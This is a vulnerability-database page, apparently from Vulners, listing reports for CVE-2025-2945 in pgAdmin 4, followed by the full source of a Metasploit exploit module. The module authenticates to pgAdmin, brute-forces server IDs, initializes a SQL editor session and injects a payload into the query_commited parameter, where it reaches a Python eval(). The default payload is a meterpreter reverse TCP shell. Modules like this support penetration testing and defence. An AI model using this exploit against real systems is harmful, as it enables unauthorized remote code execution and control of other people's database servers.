| Reporter | Title | Published | Views | Family All 33 |
|---|---|---|---|---|
| Exploit for CVE-2025-2945 | 13 Sep 202507:33 | – | githubexploit | |
| Exploit for Code Injection in Pgadmin Pgadmin_4 | 26 Nov 202512:44 | – | githubexploit | |
| Exploit for Code Injection in Pgadmin Pgadmin_4 | 16 Mar 202623:38 | – | githubexploit | |
| Exploit for CVE-2025-2945 | 3 Jun 202518:17 | – | githubexploit | |
| CVE-2025-2945 | 3 Apr 202513:15 | – | attackerkb | |
| The vulnerability of the eval() function in Cloud Deployment modules and the Query Tool, a database management tool for pgAdmin 4, allows a hacker to execute arbitrary code. | 28 Apr 202500:00 | – | bdu_fstec | |
| CVE-2025-2945 | 3 Apr 202512:35 | – | circl | |
| pgAdmin 安全漏洞 | 3 Apr 202500:00 | – | cnnvd | |
| CVE-2025-2945 | 3 Apr 202512:23 | – | cve | |
| CVE-2025-2945 pgAdmin 4: Remote Code Execution in Query Tool and Cloud Deployment | 3 Apr 202512:23 | – | cvelist |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PgAdmin
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pgAdmin Query Tool authenticated RCE (CVE-2025-2945)',
'Description' => %q{
This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool
and send a specific payload in the query_commited POST parameter. This payload is directly executed via a Python eval()
statement, resulting in remote code execution in versions prior to 9.2.
To exploit this vulnerability, pgAdmin credentials are required. Additionally, in order to interact with the vulnerable
SQL editor component, valid database credentials are necessary to initialize a session and obtain a transaction ID,
which is required for the exploit.
},
'Author' => [
'pyozzi-toss', # Vulnerability discovery
'jheysel-r7' # msf module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-2945'],
],
'Platform' => ['python'],
'Arch' => [ ARCH_PYTHON],
'Targets' => [
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-04-03',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'The username to authenticate to pgadmin with', '']),
OptString.new('PASSWORD', [true, 'The password to authenticate to pgadmin with', '']),
OptString.new('DB_USER', [true, 'The username to authenticate to the database with', '']),
OptString.new('DB_PASS', [true, 'The password to authenticate to the database with', '']),
OptString.new('DB_NAME', [true, 'The database to authenticate to', '']),
OptInt.new('MAX_SERVER_ID', [true, 'The maximum number of Server IDs to try and connect to.', 10]),
]
)
end
def check
# Although there is no low bound mentioned in the advisory, we can see that the vulnerable eval() statement was
# introduced in version 8.10: https://github.com/pgadmin-org/pgadmin4/commit/22cdb86aab5825787a36d149f8e6eb34fb26d817
check_version('9.2', '8.10')
end
# Return only the required URI encoded fields in order for the POST request to be successful
# @return [String] The URI encoded form data for the POST request
def get_post_data
URI.encode_www_form({
'title' => Faker::App.name.downcase,
'selectedNodeInfo' => {
'database' => {
'id' => Faker::App.name.downcase
}
}
})
end
def post_initialize_sqleditor(trans_id, sgid, sid, did)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/sqleditor/initialize/sqleditor/#{trans_id}/#{sgid}/#{sid}/#{did}"),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
'data' => {
'user' => datastore['DB_USER'],
'password' => datastore['DB_PASS'],
'role' => '',
'dbname' => datastore['DB_NAME']
}.to_json
})
unless res&.code == 200
errmsg = res&.get_json_document&.dig('result', 'errmsg') || 'unknown error'
fail_with(Failure::UnexpectedReply, "Failed to initialize sqleditor: #{errmsg}")
end
print_good('Successfully initialized sqleditor')
end
def find_valid_server_id(sgid)
(1..datastore['MAX_SERVER_ID']).each do |sid|
vprint_status("Trying server ID: #{sid}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/sqleditor/get_server_connection/#{sgid}/#{sid}"),
'method' => 'GET',
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'headers' => {
'X-pgA-CSRFToken' => csrf_token
}
})
if res&.get_json_document&.dig('data', 'status')
return sid
end
end
fail_with(Failure::NoTarget, 'Failed to find a valid server ID, try increasing MAX_SERVER_ID')
end
# In order to interact with the vulnerable component, the SQL editor, we need to initialize a session and a valid
# transaction ID. This is done by sending a POST request to the sqleditor/panel endpoint with the necessary parameters
# @return [String] The transaction ID for the SQL editor
def sqleditor_init(trans_id)
sgid = rand(1..10)
did = rand(10000..99999)
sid = find_valid_server_id(sgid)
post_initialize_sqleditor(trans_id, sgid, sid, did)
end
def exploit
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
trans_id = rand(1_000_000..9_999_999)
sqleditor_init(trans_id)
print_status('Exploiting the target...')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/sqleditor/query_tool/download/#{trans_id}"),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'headers' => {
'Referer' => "http://#{datastore['RHOST']}:#{datastore['RPORT']}/sqleditor/panel/#{trans_id}?is_query_tool=true",
'X-Pga-Csrftoken' => csrf_token
},
'data' => {
'query_commited' => payload.encoded
}.to_json
})
print_error('No response received from exploit attempt') unless res
print_good('Received a 500 response from the exploit attempt, this is expected') if res&.code == 500
print_error("Received an unexpected response code from the exploit attempt: #{res&.code}") if res&.code != 500
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation